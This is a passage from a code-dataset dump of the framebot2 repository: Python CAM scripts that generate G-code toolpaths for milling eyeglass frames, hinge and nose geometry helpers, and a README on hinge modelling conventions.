x_pos, hinge_rampup_start_x, hinge_rampdown_start_y, idx\n transition_length = poly.polyline_length(contour[:(idx+1)], False)\n ramp_segment = poly.segment(contour, transition_length, transition_length+5, False)\n ramp_segment = poly.ramp(ramp_segment, body_removal, hinge_removal, False)\n heightmap = heightmap + ramp_segment\n items_to_skip = len(ramp_segment)\n over_hinge = True\n else: # Over flat hinge area\n heightmap = heightmap + [pt + [hinge_removal]]\n else: # We're over the body area but back on the hinge side\n heightmap = heightmap + [pt + [body_removal]]\n return heightmap\n\n def add_nosepad_heights(contour):\n heightmap = []\n over_nosepad = False\n past_nosepad = False\n nosepad_flat_idx = -1\n\n items_to_skip = 0 # for fast-forwarding the enumeration\n for idx, pt in enumerate(contour):\n if items_to_skip > 0:\n items_to_skip = items_to_skip-1\n continue\n if pt[1] >= center_y:\n heightmap = heightmap + [pt]\n elif not over_nosepad and not past_nosepad:\n if pt[0] < nosepad_start: # Transition\n transition_length = poly.polyline_length(contour[:(idx+1)], False)\n ramp_segment = poly.segment(contour, transition_length, transition_length+5, False)\n ramp_segment = poly.ramp(ramp_segment, body_removal, nosepad_removal, False)\n heightmap = heightmap + ramp_segment[:-1]\n items_to_skip = len(ramp_segment)\n nosepad_flat_idx = idx + items_to_skip # we'll need this to go down\n over_nosepad = True\n else: # we're past the nosepad\n heightmap = heightmap + [pt + [body_removal]]\n elif over_nosepad and not past_nosepad:\n if nosepad_flat_idx < 0:\n print \"ERROR! I think I'm on the nosepad but have not transitioned yet\"\n return []\n # We'll be cutting the far side with the back of the cutter, so need to move at\n # least the diameter to get any flat at all\n flat_length = poly.polyline_length(contour[nosepad_flat_idx:(idx+1)], False) - (cutter_radius*2)\n if flat_length < 5:\n heightmap = heightmap + [pt + [nosepad_removal]]\n else: # ramp down\n transition_length = poly.polyline_length(contour[:(idx+1)], False)\n ramp_segment = poly.segment(contour, transition_length, transition_length+5, False)\n ramp_segment = poly.ramp(ramp_segment, nosepad_removal, body_removal, False)\n heightmap = heightmap + ramp_segment[:-1]\n items_to_skip = len(ramp_segment)\n nosepad_flat_idx = idx + items_to_skip # we'll need this to go down\n over_nosepad = False\n past_nosepad = True\n else:\n heightmap = heightmap + [pt + [body_removal]]\n return heightmap\n\n\n facing_contour = add_hinge_heights(facing_contour)\n facing_contour = add_nosepad_heights(facing_contour)\n facing_contour = poly.reverse(facing_contour)\n right_facing = poly.mirror_y(facing_contour, True)\n\n passes = [1]\n heights = [p[2] for p in facing_contour]\n r = [\n cam.change_tool(\"1/4in ballmill\"),\n cam.spindle_speed(22000),\n cam.feedrate(1000),\n cam.start_spindle(),\n cam.rmp(entry_point),\n cam.contour(facing_contour, True),\n ]\n\n for dilate in passes:\n dilated = poly.reverse(poly.dilate(dilate, facing_contour))\n# dilated = add_hinge_heights(dilated)\n dilated = add_nosepad_heights(dilated)\n r = r + [ cam.contour(dilated, True),]\n return r\n\n\n\n\n\n\ndef mill_temples(outdir, temples, temple_length):\n#TODO: Replace with information in materials database\n front_surface_thickness = 0\n back_surface_thickness = 4\n final_front_thickness = 0\n final_back_thickness = 4\n thickness = final_front_thickness + final_back_thickness\n\n front_surface_removal = final_front_thickness - front_surface_thickness\n back_surface_removal = final_back_thickness - back_surface_thickness\n\n r_temple = poly.rotate_90(temples['right_temple_contour'])\n l_temple = poly.rotate_90(temples['left_temple_contour'])\n\n offset = frame_offset(l_temple)\n program = [\n cam.setup(),\n cam.select_fixture(\"blank_clamp\"),\n cam.retract_spindle(),\n cam.activate_pin(\"stock_clamp\"),\n surface_front(front_surface_removal),\n surface_back(back_surface_removal),\n cam.change_tool(\"1/16in endmill\"),\n cam.rapid([0,0]),\n cam.temporary_offset(offset),\n temple_hinge_pockets(temples),\n index_holes([l_temple, r_temple], thickness),\n #thin_temples([l_temple, r_temple], temple_length),\n ]\n open(outdir + \"/temples_milling.ngc\", \"w\").write(to_string(program))\n\ndef thin_temples(temples, temple_length):\n left = temples[0]\n right = temples[1]\n left_side = poly.bottom(left)\n right_side = poly.top(left)\n halfway = left_side + (right_side - left_side)/2\n\n taperpath = []\n for pt in left:\n if pt[1] == left_side:\n break\n elif pt[1] > halfway:\n taperpath.append(pt)\n\n print taperpath\n # offset the path so our 1/2 mill cuts the whole thing\n # TODO: gauge width and make sure we're cutting the whole thing.\n flat_begin = left_side + temple_length -10 # 20 mm flat\n flat_end = flat_begin + 20\n front_slope = -2.0 / (halfway-flat_begin)\n\n print \"flat\", flat_begin, flat_end\n print left_side, right_side, halfway\n def calc_thinning_z(pt):\n if pt[1] > flat_begin:\n print 'Over flat begin', pt\n return (abs(pt[1]-halfway) * front_slope)\n elif pt[1] > flat_end:\n print 'over flat end'\n return -4\n else:\n return -(pt[0]-flat_end)/4 - 4\n\n\n\n shiftedpath = []\n for idx, pt in enumerate(taperpath):\n if idx == 0:\n shiftedpath.append([pt[0], pt[1]-3])\n else:\n lastpt = taperpath[idx-1]\n line=[pt[0]-lastpt[0], pt[1]-lastpt[1]]\n normal=[-line[1], line[0]]\n length = math.sqrt(normal[0]*normal[0]+normal[1]*normal[1])\n normal = [6*(x/length) for x in normal]\n shiftedpath.append([pt[0]+normal[0], pt[1]+normal[1]])\n thinning_contour_left = [[pt[0], pt[1], calc_thinning_z(pt)] for pt in shiftedpath]\n\n #thinning_contour_right = poly.mirror_x(thinning_contour_left)\n return [\n cam.rmp(thinning_contour_left[0]),\n cam.contour(thinning_contour_left, False),\n ]\n\n\ndef surface_front(amount):\n log(\"Surfacing front with amount %f\" % amount)\n return [\n cam.flip_stock(),\n cam.change_tool(\"1/4in endmill\"),\n cam.spindle_speed(20000),\n cam.feedrate(2000),\n cam.start_spindle(),\n cam.surface_along_y(-80, -100, -5, 100, 3.175, amount),\n cam.stop_spindle(),\n cam.retract_spindle(),\n cam.flip_stock(),\n ] if amount < 0 else None\n\ndef surface_back(amount):\n return [\n cam.change_tool(\"1/4in endmill\"),\n cam.spindle_speed(\"20000\"),\n cam.start_spindle(),\n cam.surface_along_y(-80, -100, -5, 100, 0.25/2, amount),\n cam.stop_spindle(),\n cam.retract_spindle(),\n cam.dactivate_pin(\"stock_clamp\"),\n ] if amount > 0 else None\n\n\n\n\ndef face_hinge_pockets(hinge_num, xposition, yposition):\n left_hinge = hinges.get_hinge(hinge_num)\n right_hinge = hinges.get_hinge(hinge_num, False)\n left_translate = [xposition, -yposition]\n #left_translate = [xposition, 0]\n right_translate = [xposition, yposition]\n #right_translate = [xposition, 0]\n # Adjust by pocket depth of hinge\n pocket_depth = left_hinge['pocket_depth']\n\n left_contour = poly.translate(left_hinge[\"face_contour\"], left_translate[0], left_translate[1])\n right_contour = poly.translate(right_hinge[\"face_contour\"], right_translate[0], right_translate[1])\n left_holes = poly.translate(left_hinge[\"face_holes\"], left_translate[0], left_translate[1])\n right_holes = poly.translate(right_hinge[\"face_holes\"], right_translate[0], right_translate[1])\n\n if not poly.is_ccw(left_contour):\n left_contour = poly.reverse(left_contour)\n if not poly.is_ccw(right_contour):\n right_contour = poly.reverse(right_contour)\n\n left_hinge_pocket_contours = [];\n while len(left_contour) > 0:\n left_contour = poly.erode(1.5875/2, left_contour)\n if len(left_contour) > 0:\n left_contour = left_contour[0]\n left_hinge_pocket_contours.append(left_contour)\n\n right_hinge_pocket_contours = [];\n while len(right_contour) > 0:\n right_contour = poly.erode(1.5875/2, right_contour)\n if len(right_contour) > 0:\n right_contour = right_contour[0]\n right_hinge_pocket_contours.append(right_contour)\n r = [\n cam.comment(\"Hinge Pockets\"),\n cam.feedrate(750),\n cam.change_tool(\"1/16in endmill\"),\n cam.start_spindle(15000),\n cam.dwell(3),\n cam.comment(\"Right Hinge Pocket\"),\n cam.pocket(right_hinge_pocket_contours, -abs(right_hinge['pocket_depth']), retract=0),\n cam.rapid([None, None, 20.0]),\n cam.comment(\"Left Hinge Pocket\"),\n cam.pocket(left_hinge_pocket_contours, -abs(left_hinge['pocket_depth']), retract=0),\n cam.rapid([None, None, 20.0]),\n cam.comment(\"Hinge Holes\"),\n cam.change_tool(\"1mm drill\"),\n cam.start_spindle(4500),\n cam.dwell(2),\n [cam.rmp(p + [-8.0], retract=10.0) for p in right_holes],\n [cam.rmp(p + [-8.0], retract=10.0) for p in left_holes],\n cam.rapid([None, None, 20.0]),\n ]\n return r\n\ndef temple_hinge_pockets(temples):\n # We're operating in a 90 degree rotated fixture\n #l_hinge = poly.rotate_90(temples[\"left_hinge_contour\"])\n #r_hinge = poly.rotate_90(temples[\"right_hinge_contour\"])\n\n l_hinge = temples[\"left_hinge_contour\"]\n r_hinge = temples[\"right_hinge_contour\"]\n if not poly.is_ccw(l_hinge):\n l_hinge = poly.reverse(l_hinge)\n if not poly.is_ccw(r_hinge):\n r_hinge = poly.reverse(r_hinge)\n\n left_hinge_pocket_contours = [];\n while len(l_hinge) > 0:\n l_hinge = poly.erode(1.5875/2, l_hinge)\n if len(l_hinge) > 0:\n l_hinge = l_hinge[0]\n left_hinge_pocket_contours.append(l_hinge)\n\n right_hinge_pocket_contours = [];\n while len(r_hinge) > 0:\n r_hinge = poly.erode(1.5875/2, r_hinge)\n if len(r_hinge) > 0:\n r_hinge = r_hinge[0]\n right_hinge_pocket_contours.append(r_hinge)\n r = [\n cam.comment(\"Hinge Pockets\"),\n cam.feedrate(750),\n cam.change_tool(\"1/16in endmill\"),\n cam.start_spindle(15000),\n cam.dwell(3),\n cam.comment(\"Right Hinge Pocket\"),\n cam.pocket(right_hinge_pocket_contours, -abs(temples['pocket_depth']), retract=0),\n cam.rapid([None, None, 20.0]),\n cam.comment(\"Left Hinge Pocket\"),\n cam.pocket(left_hinge_pocket_contours, -abs(temples['pocket_depth']), retract=0),\n cam.rapid([None, None, 20.0]),\n cam.comment(\"Hinge Holes\"),\n cam.change_tool(\"1mm drill\"),\n cam.start_spindle(4500),\n cam.dwell(2),\n [cam.rmp(p + [-8.0], retract=10.0) for p in temples['right_hinge_holes']],\n [cam.rmp(p + [-8.0], retract=10.0) for p in temples['left_hinge_holes']],\n cam.rapid([None, None, 20.0]),\n\n cam.move([None, None, 0]),\n cam.contour(poly.rotate_90(temples['left_temple_contour']), True),\n cam.contour(poly.rotate_90(temples['right_temple_contour']), True),\n ]\n return r\n\n\n\ndef lens_groove(left_c, right_c, height):\n print 'groove height', height\n \"\"\"Generates the toolpath for the lens holes (holes, groove and tabs).\"\"\"\n if not poly.is_ccw(left_c):\n left_c = poly.reverse(left_c)\n if not poly.is_ccw(right_c):\n right_c = poly.reverse(right_c)\n\n lgroove = poly.erode(0.8, left_c)[0]\n rgroove = poly.erode(0.8, right_c)[0]\n\n left_entry = poly.erode(5.0, lgroove)[0][0];\n right_entry = poly.erode(5.0, rgroove)[0][0];\n r = [\n \"(Lens Grooves)\",\n cam.change_tool(\"vgroove\"),\n cam.start_spindle(20000),\n cam.feedrate(2000),\n cam.rmp(right_entry + [height]),\n cam.contour(rgroove, True),\n cam.move(right_entry), # Get out from under the overhang\n cam.rmp(left_entry + [height]),\n cam.contour(lgroove, True),\n cam.move(left_entry), # Get out from under the overhang\n ]\n return r\n\n\ndef lens_holes(left_c, right_c, thickness):\n \"\"\"Generates the toolpath for the lens holes (holes, groove and tabs).\"\"\"\n if not poly.is_ccw(left_c):\n left_c = poly.reverse(left_c)\n if not poly.is_ccw(right_c):\n right_c = poly.reverse(right_c)\n\n lhole = poly.erode(3.175/2.0, left_c)[0]\n rhole = poly.erode(3.175/2.0, right_c)[0]\n\n right_rough = poly.erode(0.1, rhole)[0]\n left_rough = poly.erode(0.1, lhole)[0]\n\n lgroove = poly.erode(0.8, left_c)[0]\n rgroove = poly.erode(0.8, right_c)[0]\n\n left_entry = poly.erode(2.0, lhole)[0][0];\n right_entry = poly.erode(2.0, rhole)[0][0];\n\n lhole = poly.reverse(lhole)\n rhole = poly.reverse(rhole)\n\n r = [\n \"(Lens Holes)\",\n cam.change_tool(\"1/8in endmill\"),\n cam.start_spindle(20000),\n cam.feedrate(2000),\n cam.rmh(right_entry + [-thickness - 1.0], 1.5, 0.5, 1.0),\n cam.contour(right_rough, True),\n cam.contour(rhole, True),\n cam.rmh(left_entry + [-thickness - 1.0], 1.5, 0.5, 1.0),\n cam.contour(left_rough, True),\n cam.contour(lhole, True),\n\n ]\n return r\n\ndef index_holes(contours, thickness):\n# We put the index holes 1/2 between top and bottom, 160mm apart\n# log(str(poly.right(face_c)))\n# log(str(poly.left(face_c)))\n# log(str(poly.right(face_c) - poly.left(face_c)))\n# log(str((poly.right(face_c) - poly.left(face_c))/2))\n# log(str(poly.right(face_c) - (poly.right(face_c) - poly.left(face_c))/2))\n\n rightmost = -1000000\n leftmost = 1000000\n for contour in contours:\n right = poly.right(contour)\n left = poly.left(contour)\n rightmost = max(right, rightmost)\n leftmost = min(left, leftmost)\n\n# x_offset = poly.right(face_c) - (poly.right(face_c) - poly.left(face_c))/2\n x_offset = rightmost - (rightmost - leftmost)/2\n\n hole_radius = 4.85/2 # Measured from dowel pin\n tool_radius = 3.175/2\n helix_radius = hole_radius - tool_radius\n r_hole = [x_offset, 90]\n l_hole = [x_offset, -90]\n r = [\n cam.comment(\"Index Holes for secondary operations\"),\n cam.change_tool(\"1/8in endmill\"),\n cam.start_spindle(15000),\n cam.feedrate(1000),\n cam.dwell(3),\n cam.rmh(r_hole + [-thickness - 1.0], helix_radius, 0.5, 1),\n cam.rmh(l_hole + [-thickness - 1.0], helix_radius, 0.5, 1),\n ]\n return r\n\n\ndef nose_pads(order, thickness):\n return []\n\ndef nose_contour(nose_rad, nose_h, nose_sa, nose_ra, face_con, thickness):\n \"\"\"Creates the nose contour feature toolpath. Angular arguments are in degrees.\"\"\"\n\n nr = nose_rad\n h = nose_h\n sa = math.radians(nose_sa)\n ra = math.radians(nose_ra)\n xfloor = poly.left(face_con) - 3.175 # bottom most point minus tool radius\n xfloor = max(xfloor, -27.0) # miminum safe distance without hitting clamp\n nose_tool_radius = 3.175\n\n nextpoly = nose.nose_poly(nr, h, sa, ra, xfloor, nose_tool_radius, 0.0)\n\n r = [\n \"(Nose Contour)\",\n cam.change_tool(\"1/4in ballmill\"),\n cam.start_spindle(20000),\n cam.feedrate(2000),\n cam.rmp(nextpoly[0] + [2.0]) # Start near our first contour\n ]\n\n direction = 1\n for i in range(-20, (thickness+2)*10):\n z = -i/10.0\n# r += cam.move(nextpoly[0])\n if(direction < 0):\n nextpoly.reverse()\n direction = direction * -1\n r += cam.contour(nextpoly, False)\n r += cam.move([None, None, z])\n nextpoly = nose.nose_poly(nr, h, sa, ra, xfloor, nose_tool_radius, z)\n\n return r\n\ndef arrange_temple_curves(left_temple_contour, right_temple_contour, hinge, lhinge_y, rhinge_y):\n left_hinge = hinges.get_hinge(hinge)\n right_hinge = hinges.get_hinge(hinge, False)\n\n print 'first and last point of left_temple_contour'\n print left_temple_contour[0], left_temple_contour[-1]\n left_holes = poly.rotate_90(left_hinge['temple_holes'])\n right_holes = poly.rotate(right_hinge['temple_holes'], 90) # opposite direction. FIX someday\n left_hinge_contour = poly.rotate_90(left_hinge['temple_contour'])\n right_hinge_contour = poly.rotate(right_hinge['temple_contour'], 90)\n\n #right_hinge_contour = right_hinge['temple_contour']\n #left_holes = left_hinge['temple_holes']\n #right_holes = right_hinge['temple_holes']\n\n # Get the thing as horizontal as possible\n # When top-bottom distance is minimized, it's horizontal\n height = poly.top(left_temple_contour) - poly.bottom(left_temple_contour)\n opt_angle = 0\n\n for angle in range(2, 41):\n candidate_contour = poly.rotate(left_temple_contour, -angle)\n candidate_height = poly.top(candidate_contour)-poly.bottom(candidate_contour)\n if candidate_height < height:\n height = candidate_height\n opt_angle = angle\n else:\n break\n\n # The temple is raised or lowered as compared to the Y axis. We need\n # to bring it to the Y origin for rotation to avoid offsetting it, then\n # send it back to its original spot.\n original_y_offset = left_temple_contour[0][1] - (left_temple_contour[0][1] - left_temple_contour[-1][1])/2\n\n left_temple_contour = poly.translate(left_temple_contour, 0, -original_y_offset)\n left_temple_contour = poly.rotate(left_temple_contour, -opt_angle);\n left_temple_contour = poly.translate(left_temple_contour, 0, original_y_offset)\n\n right_temple_contour = poly.translate(right_temple_contour, 0, -original_y_offset)\n right_temple_contour = poly.rotate(right_temple_contour, opt_angle);\n right_temple_contour = poly.translate(right_temple_contour, 0, original_y_offset)\n\n #left_holes = poly.rotate(left_hinge['temple_holes'], -opt_angle)\n #right_holes = poly.rotate(right_hinge['temple_holes'], opt_angle)\n #left_hinge_contour = poly.rotate(left_hinge['temple_contour'], -opt_angle)\n #right_hinge_contour = poly.rotate(right_hinge['temple_contour'], opt_angle)\n\n left_holes = poly.rotate(left_holes, -opt_angle)\n right_holes = poly.rotate(right_holes, opt_angle)\n left_hinge_contour = poly.rotate(left_hinge_contour, -opt_angle)\n right_hinge_contour = poly.rotate(right_hinge_contour, opt_angle)\n left_hinge_contour = poly.translate(left_hinge_contour, lhinge_y, -left_hinge['pocket_depth'])\n right_hinge_contour = poly.translate(right_hinge_contour, rhinge_y, right_hinge['pocket_depth'])\n # Left and right translate are reversed because we've rotated everything\n left_holes = poly.translate(left_holes, lhinge_y, -left_hinge['pocket_depth'])\n right_holes = poly.translate(right_holes, rhinge_y, right_hinge['pocket_depth'])\n\n temple_width = poly.right(left_temple_contour) - poly.left(left_temple_contour)\n print \"temple width\", temple_width\n lt_trans = [temple_width/2, 0]\n rt_trans = [-lt_trans[0], 0]\n\n #lt_trans = [180-poly.right(left_temple_contour), -poly.top(left_temple_contour) - 30]\n #lt_trans = [-poly.right(left_temple_contour)-30, 180 -poly.top(left_temple_contour)]\n #rt_trans = [-poly.left(right_temple_contour)+25, lt_trans[1]-height]\n\n # Translate them\n left_temple_contour = poly.translate(left_temple_contour, lt_trans[0], lt_trans[1])\n right_temple_contour = poly.translate(right_temple_contour, rt_trans[0], rt_trans[1])\n left_hinge_contour = poly.translate(left_hinge_contour, lt_trans[1], -lt_trans[0])\n right_hinge_contour = poly.translate(right_hinge_contour, rt_trans[1], -rt_trans[0])\n left_holes = poly.translate(left_holes, lt_trans[1], -lt_trans[0])\n right_holes = poly.translate(right_holes, rt_trans[1], -rt_trans[0])\n\n\n # Translate bottom one upward as much as we can\n trans_amount = poly.bottom(left_temple_contour) - poly.top(right_temple_contour) - 8\n for i in range(1, 100):\n candidate = poly.translate(right_temple_contour, 0, trans_amount + i)\n intersection = poly.intersection(candidate, left_temple_contour)\n if len(intersection) > 0:\n trans_amount = trans_amount + i -8\n right_temple_contour = poly.translate(right_temple_contour, 0, trans_amount)\n break\n print 'trans amount:', trans_amount\n\n right_hinge_contour = poly.translate(right_hinge_contour, trans_amount, 0)\n right_holes = poly.translate(right_holes, trans_amount, 0)\n\n return {\n \"pocket_depth\": left_hinge['pocket_depth'],\n \"left_hinge_contour\": left_hinge_contour,\n \"right_hinge_contour\": right_hinge_contour,\n \"left_hinge_holes\": left_holes,\n \"right_hinge_holes\": right_holes,\n \"left_temple_contour\": left_temple_contour,\n \"right_temple_contour\": right_temple_contour\n }\n\n\n\ndef create_dxf(filename, polys):\n drawing = dxf.drawing(filename)\n drawing.add_layer('OUTLINE', color=1)\n for p in polys:\n polyline = dxf.polyline(layer=\"OUTLINE\")\n p = p + [p[0], p[1]] # Close the polygon to avoid a cusp\n polyline.add_vertices(p)\n drawing.add(polyline)\n\n drawing.save()\n\ndef check_frame_size(contour):\n # We're limited by our stock size and clamp clearances\n # We can be about 160mm wide max, and about 65mm high max.\n if abs(poly.top(contour)) > 85:\n return \"Frame is too wide: %f mm\" % (poly.top(contour) * 2)\n if poly.right(contour) - poly.left(contour) > 70:\n return \"Frame is too tall: %f mm\" % (poly.right(contour) - poly.left(contour))\n return None\n\n\ndef frame_offset(contour):\n \"\"\"\n The origin of the glasses is in the middle of the pair (i.e. centered at Y) with the\n X origin at the line between the pupils. The fixture on the milling machine has its origin\n centered on the Y axis but with the X axis at the edge of the clamp. We need to shift the\n machine origin toward the middle of the stock.\n \"\"\"\n xoffset = poly.right(contour) + 10 # Offset by the furthest point, plus some extra for the tool\n return [xoffset, 0]\n\ndef flatten(l):\n '''Flattens a tree structure to a list of strings. Nodes with a value of None are removed.'''\n if type(l) is type(\"\"):\n return [l]\n elif type(l) is type(None):\n return []\n else:\n r = []\n for e in l:\n r += flatten(e)\n return r\n\ndef to_string(l):\n '''Converts a list of strings or a tree structure of strings to a single string for output.'''\n return \"\\n\".join(flatten(l))\n\n\nif __name__ == '__main__':\n main()\n" }, { "alpha_fraction": 0.5282019376754761, "alphanum_fraction": 0.5515736937522888, "avg_line_length": 27.14912223815918, "blob_id": "fba88121f0be3e1b85fad4c5a61bc6d213467c1b", "content_id": "77ee8eb973d99642f7b82d11cfb7fee17b5f96e7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3209, "license_type": "no_license", "max_line_length": 98, "num_lines": 114, "path": "/src/hinge_experiment.py", "repo_name": "guildeyewear/framebot2", "src_encoding": "UTF-8", "text": "from dxfwrite import DXFEngine as dxf\nimport json\nfrom optparse import OptionParser\nimport os\nimport sys\nimport poly\nimport cam\nimport hinges\nimport math\nimport nose\nimport geometry as g\n\ndef log(message):\n sys.stdout.write(message + \"\\n\")\n\ndef main():\n \"\"\"Run as a command line program.\"\"\"\n # Create the output director\n order_dir = \"/Users/rodfrey/Dropbox/guild_orders/hinge_experiment\"\n if not os.path.exists(order_dir):\n os.makedirs(order_dir)\n mill_hinges(order_dir)\n\n # Arrange the temples to fit on the stock\n\ndef mill_hinges(outdir):\n \"\"\"Creates the g-code for the first milling operation. The\n first milling operation is done on an unregistered plastic blank,\n so includes creating registration holes for subsequent operations.\"\"\"\n y_offsets = [y*15 for y in range(-5, 6)]\n x_offsets = [x*7 for x in range(-3, 4)]\n\n hinge = hinges.get_hinge(2);\n contour = hinge['face_contour']\n\n contours = []\n erode = poly.erode(1.5875/2, contour)\n while len(erode) > 0:\n if len(erode) >= 1:\n contours.append(erode[0])\n else:\n break\n erode = poly.erode(1.5875/2, contours[-1])\n\n\n\n program = [\n cam.setup(),\n cam.select_fixture(\"blank_clamp\"),\n cam.retract_spindle(),\n cam.activate_pin(\"stock_clamp\"),\n cam.change_tool(\"1/16in endmill\"),\n cam.rapid([0,0]),\n cam.start_spindle(20000),\n cam.dwell(3),\n# cam.pocket(contours, -1, -1),\n# cam.rapid([None, None, 20.0]),\n# cam.change_tool(\"1mm drill\"),\n# cam.start_spindle(4500),\n# [cam.rmp(p + [-2.5], retract=10.0) for p in hinge['face_holes']],\n ]\n\n\n\n for y_offset in y_offsets:\n for x_offset in x_offsets:\n program += [\n cam.rapid([x_offset, y_offset]),\n cam.temporary_offset((0,0)),\n cam.pocket(contours, -1.2, -1.2),\n cam.rapid([None, None, 20.0]),\n cam.remove_temporary_offset(),\n ]\n# program += [\n# cam.change_tool(\"1mm drill\"),\n# cam.start_spindle(4500),\n# ]\n# for y_offset in y_offsets:\n# for x_offset in x_offsets:\n# program += [\n# cam.rapid([x_offset, y_offset]),\n# cam.temporary_offset((0,0)),\n# [cam.rmp(p + [-2.5], retract=10.0) for p in hinge['face_holes']],\n# cam.rapid([None, None, 20.0]),\n# cam.remove_temporary_offset(),\n# ]\n\n program += [\n cam.deactivate_pin(\"stock_clamp\"),\n cam.end_program(),\n ]\n\n\n open(outdir + \"/face_stage1.ngc\", \"w\").write(to_string(program))\n\ndef flatten(l):\n '''Flattens a tree structure to a list of strings. Nodes with a value of None are removed.'''\n if type(l) is type(\"\"):\n return [l]\n elif type(l) is type(None):\n return []\n else:\n r = []\n for e in l:\n r += flatten(e)\n return r\n\ndef to_string(l):\n '''Converts a list of strings or a tree structure of strings to a single string for output.'''\n return \"\\n\".join(flatten(l))\n\n\nif __name__ == '__main__':\n main()\n" }, { "alpha_fraction": 0.6132755875587463, "alphanum_fraction": 0.6406926512718201, "avg_line_length": 31.23255729675293, "blob_id": "44c399d4892475fb27876b274af795b924d2df5f", "content_id": "783b32cedb708bfaeca50811f1880244cf4beb13", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1386, "license_type": "no_license", "max_line_length": 113, "num_lines": 43, "path": "/src/nose.py", "repo_name": "guildeyewear/framebot2", "src_encoding": "UTF-8", "text": "\"\"\"Support routines for generating nose contours.\"\"\"\n\nimport math\nimport poly\n\ntau = math.pi * 2.0\n\ndef tangent_point(sa, r):\n x = math.cos(sa/2.0) * r\n y = math.sin(sa/2.0) * r\n\n return [x, y]\n\ndef nose_poly(r, h, sa, ra, xfloor, erode=0.0, depth=0.0):\n \"\"\"\n Generates an open contour polygon to match the described nose.\n r, h, sa and ra are standard radius, height of intercept, splay angle and ridge angle parameters (in radians)\n yfloor is the end point in the y direction of the nose side lines, for getting the right size of contour\n optional erode parameter will erode the contour by the given amount, usually the radius of the cutting tool\n optional depth parameter will generate a contour that matches the nose profile at the given depth\n \"\"\"\n\n nose_radius = r\n r -= erode\n h -= erode\n half_sa = sa / 2.0\n xfloor = float(xfloor)\n depth = float(depth)\n depth_displacement = -depth/math.tan(ra);\n translation = h - depth_displacement - nose_radius\n xfloor -= translation\n\n p2 = tangent_point(sa, r)\n p1 = [p2[0] + math.sin(half_sa) * abs(xfloor) / math.sin(tau/4.0 - half_sa), xfloor]\n rpoly = poly.arc(r, half_sa, tau/2.0 - half_sa)\n p3 = [-p2[0], p2[1]]\n p4 = [-p1[0], p1[1]]\n\n base = [p1] + [p2] + rpoly + [p3] + [p4]\n\n ret = poly.translate(base, 0.0, translation)\n\n return poly.rotate_90(ret)\n" }, { "alpha_fraction": 0.6448070406913757, "alphanum_fraction": 0.6545340418815613, "avg_line_length": 40.350650787353516, "blob_id": "7644089338b3645c19ded141167c4ce6513a857e", "content_id": "ecf845d349f7d7d607ad48e9b81b0eedcf428ced", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3187, "license_type": "no_license", "max_line_length": 176, "num_lines": 77, "path": "/src/hinges.py", "repo_name": "guildeyewear/framebot2", "src_encoding": "UTF-8", "text": "\"\"\"Manufacturing information for hinge features.\"\"\"\n\nimport json\nimport poly\n\ndef get_hinge(pn, left=True):\n \"\"\"\n Get the dictonary describing a hinge.\n By convention, you should only create descriptions for the left hinge.\n Right hinge descriptions can be derived using the flip_hinge function.\n Face coordinates are looking at the back of the face and have an origin with x axis on the vertical center of the hinge, and y axis on the inside edge of the left temple.\n Temple coordinates are looking at the inside of the left temple and have an origin with x axis on the vertical center of the hinge, and y axis on the back edge of the face.\n Temple and face coordinates are specified as if there is no pocketing. Pocketing adjustments can be performed according to pocket depths.\n face_con and temple_con describe the contour of the face and temple pockets\n\n left says whether you want the left version or not, setting to false will return Right version\n\n 'description': str(description),\n 'drill_dia': float(drill_dia),\n 'cb_dia': float(cb_dia),\n 'cb_depth': float(cb_depth),\n 'face_holes': make_points(face_holes),\n 'temple_holes': make_points(temple_holes),\n \"\"\"\n print 'getting hinge', pn\n h = json.load(open(\"/Users/ana0/Development/framebot2/hinges/%d.json\" % pn))\n print 'loaded the hinge'\n # hinges are modelled with y in reverse orientation from the mill\n# to_rotate = ['face_holes', 'face_contour']\n# to_flip = ['face_holes', 'face_contour'] #, 'temple_contour']\n\n# for key in to_flip:\n# h[key] = flip_x(h[key])\n\n# for key in to_rotate:\n# h[key] = poly.rotate(h[key], 90)\n\n #h['temple_contour'] = poly.rotate(h['temple_contour'], 90)\n #h['temple_contour'] = flip_y(h['temple_contour'])\n\n # Special processing to correct for modelling errors.\n# NOTE: This is probably a result of the front plane of 6 degrees. We must understand this better!!!\n# if pn == 1:\n # Rotational angle of temple hinge is slightly off\n# h['temple_holes'] = poly.rotate(h['temple_holes'], -11)\n# h['temple_contour'] = poly.rotate(h['temple_contour'], -11)\n# h['temple_holes'] = poly.translate(h['temple_holes'], -0.5, 0)\n# h['temple_contour'] = poly.translate(h['temple_contour'], -0.5, 0)\n# elif pn == 0:\n# h['temple_holes'] = poly.translate(h['temple_holes'], -1, -1)\n# h['temple_contour'] = poly.translate(h['temple_contour'], -1, -1)\n if left:\n return h\n else:\n return get_right_version(h)\n\ndef get_right_version(h):\n \"\"\"Make a right hinge description from a left hinge description.\"\"\"\n right_version = h.copy()\n\n to_flip = ['face_holes', 'temple_holes', 'face_contour', 'temple_contour']\n\n for key in to_flip:\n right_version[key] = flip_x(h[key])\n\n return right_version\n\ndef rotate(pl):\n return [[p[1], p[0]] for p in pl]\n\ndef flip_x(pl):\n \"\"\"Flip the X coordinates of the provided point list across the Y axis.\"\"\"\n return [[-1.0 * p[0], p[1]] for p in pl]\n\ndef flip_y(pl):\n \"\"\"Flip the Y coordinates of the provided point list across the X axis.\"\"\"\n return [[p[0], -p[1]] for p in pl]\n\n\n\n" }, { "alpha_fraction": 0.7383540272712708, "alphanum_fraction": 0.7523291707038879, "avg_line_length": 91, "blob_id": "b0ac113b04b242aac4e12df382609a453c116622", "content_id": "f6b1d667475647573ab6bb7a8f743ec6b03c4191", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1288, "license_type": "no_license", "max_line_length": 291, "num_lines": 14, "path": "/hinges/README.md", "repo_name": "guildeyewear/framebot2", "src_encoding": "UTF-8", "text": "Hinge Modelling Folder\n======================\n\nRepository of hinges that we can read and interpret.\n\nHinges are modelled using 2d CAD and saved as DXF. create\\_hinge.py is then run to create a json file that contains the polylines for the hinges. These json files are used by the website to render the hinge locations and by framebot to create the machine code for milling the hinge pockets.\n\nThe hinges are modelled using some location conventions. These conventions are very important to ensure consistent rendering and modelling.\n\n1. We model the **right** hinge.\n2. The Y origin is at the middle of the **face** hinge, that is, the face hinge is split in half by the X axis.\n3. The X axis for the **temple** hinge is calculated based on where the temple hinge is on the face hinge when 